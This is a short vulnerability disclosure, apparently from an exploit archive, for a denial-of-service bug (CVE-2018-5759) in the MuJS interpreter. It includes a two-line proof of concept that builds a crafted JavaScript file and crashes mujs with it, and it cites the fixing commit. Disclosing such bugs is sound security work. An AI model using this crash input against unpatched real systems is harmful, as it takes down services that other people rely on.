The continuous call between the two functions "jsC_cexp" function and "cbinary" allows attackers to cause a denial of service (application crash) via a crafted js file # Exploit Title: DoS caused by the interactive call between two functions # Date: 2018-01-16 # Exploit Author: Andrea Sindoni - @invictus1306 # Vendor: Artifex (https://www.artifex.com/) # Software Link: https://github.com/ccxvii/mujs # Version: Mujs - 228719d087aa5e27dcd8627c4acf7273476bdbca # Tested on: Linux # CVE : CVE-2018-5759 Simple poc: # python -c "print 'func%d'*80000" > poc.js # mujs poc.js Fixed in commit 4d45a96e57fbabf00a7378b337d0ddcace6f38c1 ( http://git.ghostscript.com/?p=mujs.git;a=commit;h= 4d45a96e57fbabf00a7378b337d0ddcace6f38c1) Please let me know if you need more info. Andrea Sindoni